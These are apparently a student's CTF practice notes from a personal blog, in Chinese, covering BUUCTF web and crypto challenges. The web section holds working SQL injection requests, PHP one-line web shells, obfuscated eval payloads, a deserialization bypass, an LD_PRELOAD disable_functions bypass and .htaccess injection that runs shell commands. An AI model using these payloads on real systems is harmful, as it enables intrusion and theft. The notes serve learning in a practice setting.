Channy's blog

//Description: CTF学习刷题笔记。记录刷题过程中遇到的问题。

//Create Date: 2025-08-13 09:04:20

//Author: channy

[toc]

BUUCTF

使用到的工具:

  1. MD5 部分付费
  2. Rabbit
  3. 中文电码

Linux(Ubuntu)下下载的文件乱码问题(Crypto中特别多)

  1. 查看文件编码 ```sh file -i xxx.txt

text/plain; charset=iso-8859-1

iso-8859-1表示编码未知,改用enca工具查看
```sh
sudo apt install enca
enca -L zh_CN xxx.txt

Simplified Chinese National Standard; GB2312

说明编码是GB2312。使用iconv工具转换,即可以正常看到文件内容,可以开心地在Linux上刷题了。

iconv -f GBK -t UTF-8 乱码文件.txt -o 正常文件_utf8.txt

Basic

2019 Havefun

请求参数?cat=dog

2019 Knife

AntSword工具直连

2019 EasySQL

SQL漏洞,1' or 1=1#登录成功

GET /check.php?username=1%27+or+1%3D1%23&password=1 HTTP/1.1

2019 LoveSQL

sql的select没有group_concat一般只回显一条记录

username=1&password=2' or 1='1' group by 3#
username=1&password=2%27%20or%201=%271%27%20group%20by%203%23

> Unknown column '4' in 'group statement'

username=1&password=2%27%20union%20select%201,2,3%23
> 2,3
username=1&password=2%27%20union%20select%201,database(),3%23
> geek
username=1&password=2%27%20union%20select%201,group_concat(table_name),3%20from%20mysql.innodb_table_stats%20where%20database_name='geek'%23
> geekuser,l0ve1ysq1
username=1&password=2%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema='geek'%20and%20table_name='geekuser'%23
> username,password
> id,username,password (table_name='l0ve1ysq1')
username=1&password=2%27%20union%20select%201,username,password%20from%20geek.geekuser%23
> admin, 251c39b7cef2c57ab4eb885d375d723a
> cl4y, wo_tai_nan_le
username=1&password=2%27%20union%20select%201,2,group_concat(id,username,password)%20from%20geek.l0ve1ysq1%23

2019 BabySQL

GET /check.php?username=admin&password=1'%20order%20by%206%20--%20- HTTP/1.1
> MariaDB server version for the right syntax to use near 'der  6 -- -'' at line 1
GET /check.php?username=admin&password=1'oorr'1'='1'%20--%20- HTTP/1.1

过滤了orby

GET /check.php?username=admin&password=1'union%20select1,2,3%20--%20- HTTP/1.1
> MariaDB server version for the right syntax to use near '1,2,3 -- -'' at line 1

过滤了unionselect,尝试带其它关键词的发现也过滤了wherefromand

GET /check.php?username=1&password=1'%20uunionnion%20sselectelect%201,2,3--%20- HTTP/1.1
> 2, 3
GET /check.php?username=1&password=1'%20uunionnion%20sselectelect%201,group_concat(table_name),3%20ffromrom%20mysql.innodb_table_stats%20wwherehere%20database_name='geek'--%20- HTTP/1.1
> b4bsql,geekuser
GET /check.php?username=1&password=1'%20uunionnion%20sselectelect%201,group_concat(column_name),3%20ffromrom%20infoorrmation_schema.columns%20wwherehere%20table_schema='geek'%20aandnd%20table_name='geekuser'--%20- HTTP/1.1
> id,username,password (b4bsql同)
......

2019 HardSQL

报错注入

GET /check.php?username=1&password=1'or(updatexml(1,concat(0x7e,database(),0x7e),1));%23 HTTP/1.1
> XPATH syntax error: '~geek~'
GET /check.php?username=1&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(schema_name))from(information_schema.schemata)),0x7e),1));%23 HTTP/1.1
> XPATH syntax error: '~information_schema,performance_'
GET /check.php?username=1&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1));%23 HTTP/1.1
> XPATH syntax error: '~H4rDsq1~'
GET /check.php?username=1&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),0x7e),1));%23 HTTP/1.1
> XPATH syntax error: '~id,username,password~'
GET /check.php?username=1&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(geek.H4rDsq1)),0x7e),1));%23 HTTP/1.1
> XPATH syntax error: '~1flagflag{7acb6ee1-7e45-43ba-95'
GET /check.php?username=1&password=1'or(updatexml(1,right(concat(0x7e,(select(group_concat(password,id))from(geek.H4rDsq1)),0x7e),40),1));%23 HTTP/1.1
> XPATH syntax error: 'ee1-7e45-43ba-9594-00cbbe785abe}'

2019 FinalSQL

盲注。。。

File

xxx.php后直接接?xxx=,一直写成xxx.php/?xxx=一直没反应到怀疑人生。。。

POST /secr3t.php?file=php://filter/read=convert.Base64-encode/resource=flag.php
......
Content-Type: application/x-www-form-urlencoded

<?php phpinfo(); ?>

Upload

GIF89a
<?php @eval($_POST['cmd']);?>

# 或
<script language="php">eval($_POST['cmd']);</script>

使用<?xxx的或后缀.php的都上传不成功,拦截<?php文件,改用<script的和.phtml的可以,上传到了upload文件夹下。再用AntSword连接得到flag

PHP

$ ./dirsearch.py -u http://c65280b2-9099-46ee-8182-3f20914c830c.node5.buuoj.cn:81/ -e "*" --delay 0.1 -t 1 -i 200,403

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, jsp, asp, aspx, do, action, cgi, html, htm, js, tar.gz
HTTP method: GET | Threads: 1 | Wordlist size: 15045

Target: http://c65280b2-9099-46ee-8182-3f20914c830c.node5.buuoj.cn:81/

[09:04:13] Scanning: 
[09:25:49] 403 -   327B - /cgi-bin/
[09:30:42] 403 -   325B - /error/
[09:31:49] 200 -     0B - /flag.php
[09:34:17] 200 -    2KB - /index.php
[09:34:19] 200 -   10KB - /index.js
[09:34:23] 200 -    2KB - /index.php/login/
[09:54:16] 200 -    6KB - /www.zip

Task Completed

www.zip中有源码,序列化题

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

构造

<?php
class Name {
        private $username = "admin";
        private $password = 100;
}
$name = new Name('', '');
echo serialize($name);
?>

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

但需要把”Name”:2改成3绕过__wakeup,private参数还需要加%00,最终得到

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;} 

在 PHP 5.6.25 之前和 PHP 7.0.10 之前的版本中,如果序列化字符串中表示的对象属性个数大于实际对象的属性个数,__wakeup() 方法将不会被调用。

BuyFlag

```sh // BurpSuite POST /pay.php HTTP/1.1 Host: 0a2058eb-c4f0-41e0-aa41-296633296f34.node5.buuoj.cn:81 Accept-Language: en-US,en;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://0a2058eb-c4f0-41e0-aa41-296633296f34.node5.buuoj.cn:81/index.php Accept-Encoding: gzip, deflate, br Cookie: user=1 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 35

password=404a&money[]=100000000

根据F12的页面提示,改POST,先改user绕过身份验证,再数字改字符和使用数组绕过弱等于验证
### [2019 RCE ME](https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]RCE%20ME)
```php
<?php
echo urlencode(~'phpinfo')
?>

phpinfo()变成

GET /?code=(~%8F%97%8F%96%91%99%90)(); 

查看phpinfo返回页面disable_functions显示system被禁用。构造马

<?php
$a = 'assert'; 
echo urlencode(~$a);
echo ("<p>");
$b = '(eval($_POST[cmd]))';
echo urlencode(~$b)
?>

变成

GET /?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6); 

用AntSword能够访问成功,看到flag和readflag,下一步需要绕过disable_functions被禁函数执行readflag
LD_PRELOAD预加载.so库以达到覆盖系统函数的目的。
bypass_disablefunc_via_LD_PRELOAD

?code=$_GET['_']($_GET['__']);&_=assert&__=include('/var/tmp/bypass_disablefunc.php')&cmd=/readflag&outpath=/var/tmp/res&sopath=/var/tmp/bypass_disablefunc_x64.so

GET /?code=${~(%A0%B8%BA%AB)}['_'](${~(%A0%B8%BA%AB)}['__']);&_=assert&__=include('/tmp/bypass_disablefunc.php')&cmd=/readflag&outpath=/tmp/res&sopath=/tmp/bypass_disablefunc_x64.so HTTP/1.1

Roamphp1-Welcome

服务器返回405错误,GET改POST加Content-Type: application/x-www-form-urlencoded

POST /?roam[]=3&roam2[]=4 HTTP/1.1
Host: 7e79b38b-39a6-4210-98c5-9b67a8ef60cc.node5.buuoj.cn:81
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 21

roam1[]=1&roam2[]=2

phpinfo()页面中显示有个文件f1444aagggg.php访问返回Flag: SYC{w31c0m3_t0_5yc_r0@m_php1}但并不是,flag直接放在phpinfo()页面中

GET /f1444aagggg.php HTTP/1.1

Greatphp

php中md5和sha1的绕过

<?php
class SYCLOVER {
        public $syc;
        public $lover;
}
// 正则过滤,改用urlencode-decode/xor
$cmd = "/flag";
$cmdencode = urlencode(~$cmd);
echo $cmdencode;
echo "\n";
/* <?= ?> 等同于<?php ?> */
$str = "?><?=include~".urldecode($cmdencode)."?>";
$cls = new SYCLOVER();
// 同一行保证message相同,但类本身因错误码不同而不同
$a = new Error($str, 1);$b = new Error($str, 2); 

$cls->syc = $a; 
$cls->lover = $b; 

echo urlencode(serialize($cls));
?>

Roamphp2-Myblog

GET /index.php?page=php://filter/read=convert.Base64-encode/resource=login HTTP/1.1

GET /index.php?page=php://filter/read=convert.Base64-encode/resource=secret HTTP/1.1
<?php\nrequire_once("secret.php");\n
mt_srand($secret_seed);\n
$_SESSION[\'password\'] = mt_rand();\n?>\n'

<?php\n$secret_seed = mt_rand();\n?>\n

登录失败页面

http://c6f1a9dc-119f-4e60-a86d-52adac541ade.node5.buuoj.cn:81/?page=admin/user

GET /index.php?page=php://filter/read=convert.Base64-encode/resource=admin/user HTTP/1.1
if (isset($_POST[\'username\']) and isset($_POST[\'password\'])){\n\t
if ($_POST[\'username\'] === "Longlone" and $_POST[\'password\'] == $_SESSION[\'password\']){  // No one knows my password, including 
myself\n\t\t
$logined = true;

<?php
if(isset($_FILES['Files']) and $_SESSION['status'] === true){
    $tmp_file = $_FILES['Files']['name'];
    $tmp_path = $_FILES['Files']['tmp_name'];
    if(($extension = pathinfo($tmp_file)['extension']) != ""){
        $allows = array('gif','jpeg','jpg','png');
        if(in_array($extension,$allows,true) and in_array($_FILES['Files']['type'],array_map(function($ext){return 'image/'.$ext;},$allows),true)){
            $upload_name = sha1(md5(uniqid(microtime(true), true))).'.'.$extension;
            move_uploaded_file($tmp_path,"assets/img/upload/".$upload_name);
            echo "<script>alert('Update image -> assets/img/upload/${upload_name}') </script>";
        } else {
            echo "<script>alert('Update illegal! Only allows like \'gif\', \'jpeg\', \'jpg\', \'png\' ') </script>";
        }
    }
}
?>

login页面产生password -> 登录提交SSID、username和password -> 后台对比password -> 提交抓包置空SSID和password绕过

phpinfo一句话码.php打包成.zip上传访问,zip://bagname#filename流中的文件都会被当成php,但get遇到#会解析故需要转义

GET /index.php?page=zip://./assets/img/upload/xxx_uploadname.jpg%23xxx_filename HTTP/1.1
GET /index.php?page=phar://./assets/img/upload/xxx_uploadname.jpg/xxx_filename HTTP/1.1

页面均显示空白…

看了wp都是这个路,但本人尝试多遍均返回空白内容,返回200但Content-Length: 0,暂且记下

Cross

03页面中得到300个随机数

easyphp

GET /?filename=test.php&content=<?php%20@eval($_POST['cmd']);?> HTTP/1.1

但访问test.php直接显示内容

<?php @eval($_POST['cmd']);?>
Hello, world

也就是说,只有index.php能够作为php被解析。采用.htaccess配置auto_prepend_file注入,#(%23)注释,(%5c)连接,\n(%0a)换行,;(%3b),?(%3f),>(%3e)

php_value auto_prepend_fil\
e .htaccess
#<?php system('cat /fla?'); ?>\

?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/fla?')%3B%3F%3E%5C



php_value auto_prepend_fil\
e .htaccess%
#<?php @eval($_POST['cmd']);?>\
Hello, world

?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20@eval($_POST['cmd'])%3B%3F%3E%5C

Crypto

1 base64

使用BurpSuite工具中的Decode直接解码即可

ZmxhZ3tUSEVfRkxBR19PRl9USElTX1NUUklOR30=

2 MD5

e00cf25ad42683b3df678c61f42c6bda

只能暴力短长度的,结果为admin1,算了几分钟。而cmd5.com里面秒级别地很快出结果。。。

from hashlib import md5
import string
import itertools

def trysimple(target_md5 = 'e00cf25ad42683b3df678c61f42c6bda', maxlen = 10):
    found = False
    charset = string.digits + string.ascii_lowercase
    for curlen in range(1, maxlen):
        print('curlen = ', curlen)
        for part in itertools.product(charset, repeat=curlen):
            part = ''.join(part)
            part_md5 = md5(part.encode()).hexdigest()
            if part_md5 == target_md5:
                found = True
                break
        if found:
            break
    print(part if found else 'not found!!!')

if __name__ == '__main__':
    trysimple()

3 URL

使用BurpSuite工具中的Decode直接解码即可

%66%6c%61%67%7b%61%6e%64%20%31%3d%31%7d

4 Char Circle

根据前四位对应flag推出字母表循环前移13位

import string

content = 'synt{5pq1004q-86n5-46q8-o720-oro5on0417r1}'

# s->f, y->l, n->a, t->g, 
print(ord('s') - ord('f'))
print(ord('y') - ord('l'))
print(ord('n') - ord('a'))
print(ord('t') - ord('g'))
# 13

result = ''
for c in content:
    if c <= 'z' and c >= 'a':
        cord = ord(c)
        n = cord - 13
        if n < ord('a'):
            n += 26
        result += chr(n)
    else:
        result += c
print(result)

5 Morse Cipher

.. .-.. --- ...- . -.-- --- ..-
A: .-    B: -...    C: -.-.    D: -..    E: .    F: ..-.    G: --.    H: ....    I: ..    J: .---    K: -.-    L: .-..    M: --    N: -.    O: ---    P: .--.    Q: --.-    R: .-.    S: ...    T: -    U: ..-    V: ...-    W: .--    X: -..-    Y: -.--    Z: --..

6 password

姓名:张三
生日:19900315
key格式为key{xxxxxxxxxx}

flag{zs19900315} 好无聊。。。

7 Modified Caesar Cipher 变异凯撒

Caesar: new = (old + offset) % mod 标准凯撒通常只处理字母
Modifier Caesar: 每个字母使用不同的offset或不同的原表等…

content = 'afZ_r9VYfScOeO_UL^RWUc'

# a->f, f->l, Z->a, _->g, 
print(ord('a') - ord('f'))
print(ord('f') - ord('l'))
print(ord('Z') - ord('a'))
print(ord('_') - ord('g'))
# -5, -6, -7, -8

result = ''
id = 5
for c in content:
    cord = ord(c)
    n = cord + id
    result += chr(n)
    id += 1
print(result)

8 Quoted-printable

Python 的 quopri 标准库就是专门用来处理 Quoted-printable 编码的

import quopri

encoded_text = "=E9=82=A3=E4=BD=A0=E4=B9=9F=E5=BE=88=E6=A3=92=E5=93=A6"
decoded_bytes = quopri.decodestring(encoded_text)
decoded_text = decoded_bytes.decode('utf-8')
print("解码结果:", decoded_text)

9

根据前缀发现隔一个字符取一个字符,取完发现flag{wethinkw少了后半部分,隔的那些接上。

encoded_text = "felhaagv{ewtehtehfilnakgw}"
pre = ""
last = ""
for idx, c in enumerate(encoded_text):
    if (idx & 1) == 1:
        last += c
    else:
        pre += c
print(pre + last)

10 Rabbit

使用在线解密网站即可。。。很好奇网站使用的算法是怎么样的为什么那么快。。。

11 RSA

扩展欧几里得算法,对于任意整数 a 和 b,存在整数 x 和 y,使得 \(a * x + b * y = gcd(a, b)\) 已知p,q,e求d, d即为flag。则 $n = p * q$, $\phi(n) = (p - 1) * (q - 1)$, 公钥$(e, \phi(n))$有 $gcd(\phi(n), e) = 1$, 私钥(d, n)有 $(e * d) mod \phi = 1$

p = 473398607161
q = 4511491
e = 17

n = p * q
phi = (p - 1) * (q - 1)
print(f"e = {e}, n = {n}, phi = {phi}")

# (e * d) mod phi = 1
# ax + by = gcd(a, b)
# x_n = 0, y_n = 1; x_i = y_{i+1}, y_i = x_{i + 1} - q_i * y_{i + 1}
def calcaxby(a, b):
    if a < b:
        tmp = a
        a = b
        b = tmp
    ql = []
    ql.append(a // b)
    r = a % b
    while r != 0:
        a = b
        b = r
        ql.append(a // b)
        r = a % b

    x = 0
    y = 1
    idx = len(ql) - 2
    while idx >= 0:
        xn = y
        yn = x - ql[idx] * y
        x = xn
        y = yn
        idx -= 1
    return x, y

_, d = calcaxby(e, phi)
print(f"d = {d}")

12 Missing MD5

把python2的print res改成python3的print(des)即可运行,秒级时间出结果,得到的md5结果即为flag。一开始以为原文是,结果提交发现incorrect。没明白考点在哪。。。

13 Alice and Bob

密码学历史中,有两位知名的杰出人物,Alice和Bob。他们的爱情经过置换和轮加密也难以混淆,即使是没有身份认证也可以知根知底。就像在数学王国中的素数一样,孤傲又热情。下面是一个大整数:98554799767,请分解为两个素数,分解后,小的放前面,大的放后面,合成一个新的数字,进行md5的32位小写哈希,提交答案。 注意:得到的 flag 请包上 flag{} 提交
import math
import hashlib
n = 98554799767

def isprime(x):
    if x == 2:
        return True
    if (x & 1) == 0:
        return False
    maxn = (int)(math.sqrt(x)) + 1
    for i in range(3, maxn, 2):
        if (x % i == 0):
            return False
    return True

maxn = (int)(math.sqrt(n)) + 1
num = 0
for i in range(3, maxn, 2):
    if isprime(i):
        q = n // i
        r = n % i
        if r != 0:
            continue
        if isprime(q):
            print(f"n {n} = i {i} * q {q}")
            print(f"{i}{q}")
            num = (str(i) + str(q))
            break

# num = 101999966233
res = hashlib.md5(num.encode()).hexdigest()
print(res)

14

题目大意:
以下密文被解开后可以获得一个有意义的单词:FRPHEVGLL
用这个相同的加密向量加密ComeChina

标准的恺撤加密

def calculateOffset():
    text = 'FRPHEVGL'
    for offset in range(1, 26):
        ntext = ''
        for c in text:
            nc = ord(c) + offset
            if nc > ord('Z'):
                nc -= 26
            if nc < ord('A'):
                nc += 26
            
            ntext += chr(nc)
        print(f"offset = {offset}, ntext = {ntext.lower()}")

calculateOffset()
# offset = 13, ntext = security

def calculateEncode():
    plaintext = 'ComeChina'
    encodetext = ''
    offset = 13
    for c in plaintext:
        nc = ord(c) + offset
        if ord(c) >= ord('A') and ord(c) <= ord('Z'):
            if nc > ord('Z'):
                nc -= 26
            if nc < ord('A'):
                nc += 26
        else:
            if nc > ord('z'):
                nc -= 26
            if nc < ord('a'):
                nc += 26
        encodetext += chr(nc)
    print(encodetext)

calculateEncode()

15 rsarsa

最终解得的明文就是flag,不用转字符不用转16进制

p =  9648423029010515676590551740010426534945737639235739800643989352039852507298491399561035009163427050370107570733633350911691280297777160200625281665378483
q =  11874843837980297032092405848653656852760910154543380907650040190704283358909208578251063047732443992230647903887510065547947313543299303261986053486569407
e =  65537
c =  83208298995174604174773590298203639360540024871256126892889661345742403314929861939100492666605647316646576486526217457006376842280869728581726746401583705899941768214138742259689334840735633553053887641847651173776251820293087212885670180367406807406765923638973161375817392737747832762751690104423869019034

def extended_gcd(a, b):
    if b == 0:
        return (a, 1, 0)
    else:
        gcd, x, y = extended_gcd(b, a % b)
        return (gcd, y, x - (a // b) * y)

def modinv(a, m):
    """计算模逆元"""
    gcd, x, y = extended_gcd(a, m)
    if gcd != 1:
        return None  # 逆元不存在
    else:
        return x % m

def calc_keys(p, q, e):
    n = p * q
    phi = (p - 1) * (q - 1)
    d = modinv(e, phi)
    return ((e, n), (d, n))

def decrypt(ciphertext, private_key):
    d, n = private_key
    print(ciphertext)
    message = pow(ciphertext, d, n)
    return message

if __name__ == '__main__':
    public_key, private_key = calc_keys(p, q, e)
    message = decrypt(c, private_key)
    print(message)

16 Windows System Password

使用md5解密网站可以解得good-luck。看到网站上有说用数据库,感觉可能使用的是打表法?否则难以解释如此快的解密速度?
解密原理:

import hashlib
from Crypto.Cipher import DES
import binascii
'''
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
ctf:1002:06af9108f2e1fecf144e2e8adef09efd:a7fcb22a88038f35a8f39d503e7f0062:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:bef14eee40dffbc345eeb3f58e290d56:::
'''
def lm_hash(password = ""):
    # Step 1: Convert to uppercase
    password = password.upper()
    
    # Step 2: Pad to 14 bytes with null bytes
    password = password.ljust(14, '\0')[:14]
    
    # Step 3: Split into two 7-byte halves
    first_half = password[:7]
    second_half = password[7:]
    
    # Step 4: Convert each half to DES key
    def make_des_key(seven_bytes):
        # Add parity bits to create 8-byte DES key
        key = []
        for byte in seven_bytes.encode('ascii'):
            key.append(byte)
            parity = 0
            for i in range(7):
                if byte & (1 << i):
                    parity ^= 1
            key[-1] = (key[-1] & 0xFE) | parity
        while len(key) < 8:
            key.append(0)
        return bytes(key[:8])
    
    key1 = make_des_key(first_half)
    key2 = make_des_key(second_half)
    
    # Step 5: DES encrypt magic string
    magic_string = b'KGS!@#$%'
    
    cipher1 = DES.new(key1, DES.MODE_ECB)
    encrypted1 = cipher1.encrypt(magic_string)
    
    cipher2 = DES.new(key2, DES.MODE_ECB)
    encrypted2 = cipher2.encrypt(magic_string)
    
    # Step 6: Concatenate results
    lm_hash = encrypted1 + encrypted2
    
    return binascii.hexlify(lm_hash).decode()

def ntlm_hash(password = ""):
    ntlm_hash = hashlib.new('md4', password.encode('utf-16le')).hexdigest()
    return ntlm_hash

# Guest password is empty
print(lm_hash(password=""), ntlm_hash(password=""))

17 Information

试过多种编码没解出,使用中文电码网站在线查询可得”计算机要从娃娃抓起”。。。

encodetext = 606046152623600817831216121621196386
# not md5, cmd5 web not found
# hex 0x74b861dd729887f92889fba8f32e62
hextext = hex(encodetext)
print(hextext)

hextext = "74b861dd729887f92889fba8f32e62"
text_bytes = bytes.fromhex(hextext)
text_origin = text_bytes.decode('hz-gb-2312')
print(text_origin)

中文电码(Chinese Telegraph Code),也称为中文电报码或标准电码,是一种将汉字转换为数字代码的系统,主要用于电报通信。每个汉字对应一个4位数字代码(0000-9999)中国国家标准 GB 8565.2-88

18 Caesar

简单分析了一下发现offset没有什么规律,使用词频分析网站。。。

encodetext = "MTHJ{CUBCGXGUGXWREXIPOYAOEYFIGXWRXCHTKHFCOHCFDUCGTXZOHIXOEOWMEHZO}"

print(ord('M') - ord('f'))
print(ord('T') - ord('l'))
print(ord('H') - ord('a'))
print(ord('J') - ord('g'))
# -25 -24 -25 -29

# 65 90 97 122
print(f"{ord('A')} {ord('Z')} {ord('a')} {ord('z')}")

plaintext = ""
offset = 24
index = 0
for c in encodetext:
    if c > 'Z' or c < 'A':
        plaintext += c
        continue
    if index & 1 == 0:
        nc = ord(c) + 25
        if nc < ord('a'):
            nc += 26
        if nc > ord('z'):
            nc -= 26
        plaintext += chr(nc)
    else:
        nc = ord(c) + offset
        while nc < ord('a'):
            nc += 26
        while nc > ord('z'):
            nc -= 26
        plaintext += chr(nc)
        offset += 5
    index += 1
print(plaintext)

19 pig

unzip解压失败,查看文件头为Rar!…把后缀修改成.rar后解压得到图像。打开图像最下方有密文。
使用apt install bless的bless打开图像,头尾都正常,未发现其它。也未查到密文中的字符是什么字符。把它们替换成字母“abcdebcfghaideejcie”也解码失败。

猪圈密码(共济会密码)将 26 个英文字母排列在一个特定的网格中,然后用符号所在位置的“形状”或“点”来代表对应的字母。 猪圈密码

20

Administrator:500:806EDC27AA52E314AAD3B435B51404EE:F4AD50F57683D4260DFD48AA351A17A8:::

发现MD5查询网站上明确写明了通过穷举建立的数据库。。。

# database.py
import threading
import sqlite3

class DatabaseManager:
    _instance_lock = threading.Lock()

    def __new__(cls, *args, **kwargs):
        if not hasattr(DatabaseManager, "_instance"):
            with DatabaseManager._instance_lock:
                if not hasattr(DatabaseManager, "_instance"):
                    DatabaseManager._instance = object.__new__(cls)
        return DatabaseManager._instance

    def __init__(self, sDBPath = "md5.db"):
        self.sDBPath = sDBPath
        self.lTables = []
        self.bConnect = False
        self.db = None
        self.sTableName = "table_md5"

    def connect(self):
        if self.bConnect == True:
            return
        self.db = sqlite3.connect(self.sDBPath)
        self.bConnect = True
        self.cursor = self.db.cursor()

    def disconnect(self):
        if self.bConnect == False:
            return
        self.db.close() 
        self.bConnect = False

    def createTable(self, sTableName = "table_md5", lColumns = {"md5": "VARCHAR(80) PRIMARY KEY", "plain": "VARCHAR(50) NOT NULL"}):
        if self.bConnect == False:
            self.connect()

        self.deleteTable(sTableName)

        columns_def = ", ".join([f"{col_name} {data_type}" 
                                   for col_name, data_type in lColumns.items()])
        create_sql = f"CREATE TABLE IF NOT EXISTS {sTableName} ({columns_def})"
        self.execute(create_sql)
        
    def deleteTable(self, sTableName = "table_md5"):
        if self.bConnect == False:
            self.connect()

        self.cursor.execute(f"DROP TABLE IF EXISTS {sTableName}") 

    def insertTable(self, sTableName = "table_md5", lData = {"md5": "", "plain": ""}):
        if self.bConnect == False:
            self.connect()

        columns = ", ".join(lData.keys())
        values = ', '.join([f"'{value}'" for value in lData.values()])
        insert_sql = f"INSERT INTO {sTableName} ({columns}) VALUES ({values})"
            
        self.execute(insert_sql)

    def commit(self):
        self.db.commit()

    def search(self, sTableName = "table_md5", lCondition = {"md5": "F4AD50F57683D4260DFD48AA351A17A8"}):
        if self.bConnect == False:
            self.connect()

        search_cond = "".join([f"{col_name} = '{col_value}'" for col_name, col_value in lCondition.items()])
        search_sql = f"SELECT plain FROM {sTableName} WHERE {search_cond}"
        return self.execute(search_sql)
        
    def execute(self, execute_sql):
        if self.bConnect == False:
            self.connect()

        print(f"execute {execute_sql}")
        try:
            self.cursor.execute(execute_sql)
            result = self.cursor.fetchall()
            return result
        except sqlite3.Error as e:
            print(f"Exception {e}")
        return None
    
DBManager = DatabaseManager()
#ManageMd5DB.py
import hashlib
import string
import itertools

from database import DBManager

def md5_hash(text = ""):
    text_md5 = hashlib.md5(text.encode()).hexdigest().lower()
    return text_md5

def ntlm_hash(password = ""):
    ntlm_hash = hashlib.new('md4', password.encode('utf-16le')).hexdigest().lower()
    return ntlm_hash

def createDB(minlen = 1, maxlen = 8):
    DBManager.createTable()

    # charset = string.printable
    # charset = string.ascii_letters + string.digits + string.punctuation
    charset = string.digits
    for curlen in range(minlen, maxlen):
        print(f"curlen = {curlen}")
        for text in itertools.product(charset, repeat=curlen):
            text = ''.join(text)
            text_md5 = ntlm_hash(text).lower()

            DBManager.insertTable(sTableName="table_md5", lData={"md5": text_md5, "plain": text})
    DBManager.commit()
    DBManager.disconnect()

def searchDB():
    text = "4"
    text_md5 = ntlm_hash(text).lower()
    result = DBManager.search(sTableName="table_md5", lCondition={"md5": text_md5})
    print(result)

    text_md5 = 'F4AD50F57683D4260DFD48AA351A17A8'.lower()
    result = DBManager.search(sTableName="table_md5", lCondition={"md5": text_md5})
    print(result)

if __name__ == '__main__':
    createDB()
    searchDB()

21 RSA1

(p, q, dp, dq, c) -> m

p = 8637633767257008567099653486541091171320491509433615447539162437911244175885667806398411790524083553445158113502227745206205327690939504032994699902053229 
q = 12640674973996472769176047937170883420927050821480010581593137135372473880595613737337630629752577346147039284030082593490776630572584959954205336880228469 
dp = 6500795702216834621109042351193261530650043841056252930930949663358625016881832840728066026150264693076109354874099841380454881716097778307268116910582929 
dq = 783472263673553449019532580386470672380574033551303889137911760438881683674556098098256795673512201963002175438762767516968043599582527539160811120550041 
c = 24722305403887382073567316467649080662631552905960229399079107995602154418176056335800638887527614164073530437657085079676157350205351945222989351316076486573599576041978339872265925062764318536089007310270278526159678937431903862892400747915525118983959970607934142974736675784325993445942031372107342103852

def rsa_crt_decrypt(p, q, dp, dq, c):
    """
    RSA decryption using Chinese Remainder Theorem (CRT) optimization.
    
    Parameters:
    p, q: prime factors of n
    dp: d mod (p-1)
    dq: d mod (q-1)
    c: ciphertext
    
    Returns:
    m: decrypted message
    """
    try:
        # qinv = q^(-1) mod p
        qinv = pow(q, -1, p)
        # mp = c^dp mod p
        mp = pow(c, dp, p)
        # mq = c^dq mod q  
        mq = pow(c, dq, q)
        # h = qinv * (m1 - m2) mod p
        h = (qinv * (mp - mq)) % p
        # m = m2 + h * q
        m = mq + h * q
        return m
    except Exception as e:
        print(f"Error during decryption: {e}")
        return None

if __name__ == "__main__":
    # print(f"Ciphertext: {c}")
    message = rsa_crt_decrypt(p, q, dp, dq, c)
    message_bytes = message.to_bytes((message.bit_length() + 7) // 8, 'big').decode()
    print(message_bytes)

22 Classical cipher

cipher = '辛卯,癸巳,丙戌,辛未,庚辰,癸酉,己卯,癸巳'

def xindex(c, x = '甲乙丙丁戊己庚辛壬癸'):
    for i, xx in enumerate(x):
        if c == xx:
            return i
    return -1
        
def yindex(c, y = '子丑寅卯辰巳午未申酉戌亥'):
    for i, yy in enumerate(y):
        if c == yy:
            return i
    return -1

words = cipher.split(',')
nums = []
for w in words:
    xi = xindex(w[0])
    yi = yindex(w[1])
    st = (yi - xi) % 12
    offset = 0
    if st != 0:
        offset = 10 * (6 - st / 2)
    num = offset + xi + 1
    nums.append((int)(num + 60))
print(nums)

res = ''
